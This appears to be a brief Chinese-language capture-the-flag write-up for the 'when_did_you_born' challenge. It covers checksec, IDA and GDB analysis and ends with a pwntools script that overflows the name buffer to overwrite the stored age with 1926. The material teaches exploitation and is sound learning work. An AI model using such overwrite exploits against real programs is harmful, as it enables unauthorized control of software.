分析程序漏洞
- 通过
checksec
获取程序的基本信息- 64位小端序
- 开启了
Canary
,使用了栈不可执行技术
- 使用
IDA Pro
对程序进行静态分析- 需要在第二次输入名字时覆盖第一次输入的年龄
- 使用
GDB
动态调试程序- 可以发现第二次输入的名字就在第一次输入的年龄的前面,可以轻松将其覆盖成
1926
- 可以发现第二次输入的名字就在第一次输入的年龄的前面,可以轻松将其覆盖成
利用程序
from pwn import *
context(arch = 'amd64')
context(log_level = 'DEBUG')
context(terminal = ['deepin-terminal', '-x', 'sh', '-c'])
io = process('./when_did_you_born')
io.recvuntil(b"What's Your Birth?\n")
io.sendline(b'1927')
io.recvuntil(b"What's Your Name?\n")
io.sendline(b'AAAAAAAA' + p16(1926))
io.interactive()